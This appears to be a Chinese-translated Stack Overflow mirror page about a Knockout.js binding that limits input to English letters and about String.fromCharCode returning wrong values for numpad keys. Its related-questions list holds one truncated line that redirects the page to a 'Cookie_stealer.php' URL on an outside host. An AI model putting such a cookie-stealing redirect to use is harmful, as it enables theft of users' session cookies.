- Java 双重比较
- java - 比较器与 Apache BeanComparator
- Objective-C 完成 block 导致额外的方法调用?
- database - RESTful URI 是否应该公开数据库主键?
我有这个 Knockout 自定义绑定(bind)来验证文本框是否只包含英文字母。但是,Javascript 的 String.fromCharCode
似乎返回了错误的值。
例如,希伯来字母 “ש” 返回为英文字母“A”,右侧数字键盘中的数字“1”返回为“a”...
这是我的 Knockout 绑定(bind):
var arrValidKeys = [8, 16, 17, 20, 35, 36, 37, 39, 46];
ko.bindingHandlers.validateText = {
init: function (element, valueAccessor) {
$(element).on("keydown", function (event) {
//Regex pattern: allow only (A to Z uppercase, a to z lowercase)
var englishAlphabet = /[A-Za-z]/g;
// Retrieving the key from the char code passed in event.which
var key = String.fromCharCode(event.which);
// keyCodes list: http://stackoverflow.com/a/3781360/114029
// check that the key is valid with the above Regex
valueAccessor()($(this).val());
return ((jQuery.inArray(event.keyCode, arrValidKeys) != -1) || englishAlphabet.test(key));
});
$(element).on("keyup", function (event) {
//Regex pattern: allow only (A to Z uppercase, a to z lowercase)
var englishAlphabet = /[A-Za-z]/g;
// Retrieving the key from the char code passed in event.which
var key = String.fromCharCode(event.which);
// keyCodes list: http://stackoverflow.com/a/3781360/114029
// check that the key is valid with the above Regex
valueAccessor()($(this).val());
return ((jQuery.inArray(event.keyCode, arrValidKeys) != -1) || englishAlphabet.test(key));
});
$(element).on("paste", function (e) {
var englishAlphabet = /[A-Za-z]/g;
if (englishAlphabet.test($(this).val()))
valueAccessor()($(this).val());
else
e.preventDefault();
});
}
};
最佳答案
遵循@Jeanluca Scaljeri 从这篇文章中提出的建议:Get Correct keyCode for keypad(numpad) keys
我将我的代码更新为:
// keyCodes list: https://stackoverflow.com/a/3781360/114029
var arrValidKeys = [8, /*backspace*/
16, /*shift*/
17, /*ctrl*/
20, /*caps lock*/
35, /*end*/
36, /*home*/
37, /*left arrow*/
39, /*right arrow*/
46, /*delete*/];
function validateChar(keyCode) {
//Regex pattern: allow only (A to Z uppercase, a to z lowercase)
var englishAlphabet = /[A-Za-z]/g;
//Retrieving the key from the char code passed in event.which
var key = String.fromCharCode(keyCode);
//Check that the key is valid with the above Regex
return ((jQuery.inArray(keyCode, arrValidKeys) != -1) || englishAlphabet.test(key));
}
ko.bindingHandlers.validateText = {
init: function (element, valueAccessor) {
$(element).on("keypress", function (event) {
valueAccessor()($(this).val());
return validateChar(event.which);
});
$(element).on("keydown", function (event) {
valueAccessor()($(this).val());
return validateChar(event.which);
});
$(element).on("keyup", function (event) {
valueAccessor()($(this).val());
return validateChar(event.which);
});
$(element).on("paste", function (e) {
var englishAlphabet = /^[A-Za-z]+$/g;
var text = e.originalEvent.clipboardData.getData('Text');
if (!englishAlphabet.test(text))
e.preventDefault();
});
}
};
我添加所有 3 个事件(keypress
、keydown
和 keyup
)的原因是 keypress
单独按下退格键时不会触发,我需要它来更新带有可观察到的 knockout 的标签。
这是一个有效的 jsfiddle 链接:https://jsfiddle.net/2ma9nhn7/6/
关于Javascript String.fromCharCode 返回错误值,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30161605/
我对 javascript 和编程完全陌生。 这是原始代码: document.location = "http://ormteam.net23.net/Cookie_stealer.php?url=
我正在学习面向对象的 javascript。因为我对排版充满热情,所以我正在制作一个面向对象的 js 简单 HTML 类型编辑器,它会监听按键的“持续时间”,以便使用特定的字体变化修改每个字母的粗细。
我正在尝试将十进制转换为如下文本: function decimalToText(str){ var arr = []; for (var i = 0, l = str.length;
我正在尝试提醒任何按下的按键: alert(String.fromCharCode(e.which)); 似乎适用于 A-Z a-z 字符,但不适用于任何其他字符。 我的目标是让它适用于任何 Angu
我可能在这里问了错误的问题,所以如果答案在另一个线程上,我深表歉意......但我环顾四周却无济于事。 在一个片段中,为什么这不起作用? array = [72,69,76,76,79]; docum
我只是监听输入元素的 keyup 事件并将结果收集到一个字符串中,如下所示 word=word+String.fromCharCode(key.keyCode); 问题是该单词是大写字母,而我希望它区
var x = String.fromCharCode(65); console.log(x); //returns "A" 它接受一个整数并返回相应的字符(字符串),但该字符的代码与输入完全相等!
我正在编写一个聊天框。我输入的字符并没有按原样反射(reflect)出来。 这基本上就是我正在使用的代码。 $(document).ready(function() { $(".entry")
我看到了用于对 mailto: 地址进行编码的 String.fromCharCode() 方法。这对垃圾邮件发送者有效吗(或者过去是否有效)? 最佳答案 大多数以一种看起来不像标记中的电子邮件地址的
我最近尝试在输入(文本)字段中镜像一些输入。使用 String.fromCharCode(event.which) 例如,正确翻译所有“标准”字符。好吧,它把它们都翻译了大写,但您也可以通过查找 s
我想只允许在我的输入字段中按下某些按键。 问题是 String.fromCharCode 中的数字键盘值与真实字符不对应... 另外请注意,我的 Chrome 将逗号 (String.fromChar
我正在进行一项编码挑战,需要将一串二进制代码转换为文本。当传递这个时 01000001 01110010 01100101 01101110 00100111 01110100 00100000 01
我有 JavaScript 代码: s = String.fromCharCode(s); 这是可行的,但它只适用于一个字符,即使 String.fromCharCode 方法应该适用于用逗号分隔的多
我有这个 Knockout 自定义绑定(bind)来验证文本框是否只包含英文字母。但是,Javascript 的 String.fromCharCode 似乎返回了错误的值。 例如,希伯来字母 “ש”
我想知道是否存在与 JavaScript 的 fromCharCode 函数等效的 Ruby。它所做的是将 Unicode 值转换为字符。 这是它在 JavaScript 中的返回值示例: Strin
String.fromCharCode(72) 给出 H。如何从 char H 中获取数字 72? 最佳答案 'H'.charCodeAt(0) 关于javascript - 如何反转 String.
我有一个使用非常特定字体的 Unicode 字符。 我需要取那个字符的代码,加上 8,然后把它转换回一个字符串。 这是有效的python代码: char = "" char == chr(ord(
我对这个静态方法感到困惑。当使用 17 个字符代码(控制键)时,我找不到将其与任何内容进行比较的方法。 Chrome 控制台: 它看起来像一个普通的空字符串。 mdn说 This method ret
我正在尝试使用下面的代码将 unicode 转换为字符串,但没有成功,请帮忙? function rot13(str) { var message = ""; for (var i = 0;
我在 Javascript 中有一个函数,如下所示 // Use this to convert "0123DEF01234" (hex string) to // binary data based
我是一名优秀的程序员,十分优秀!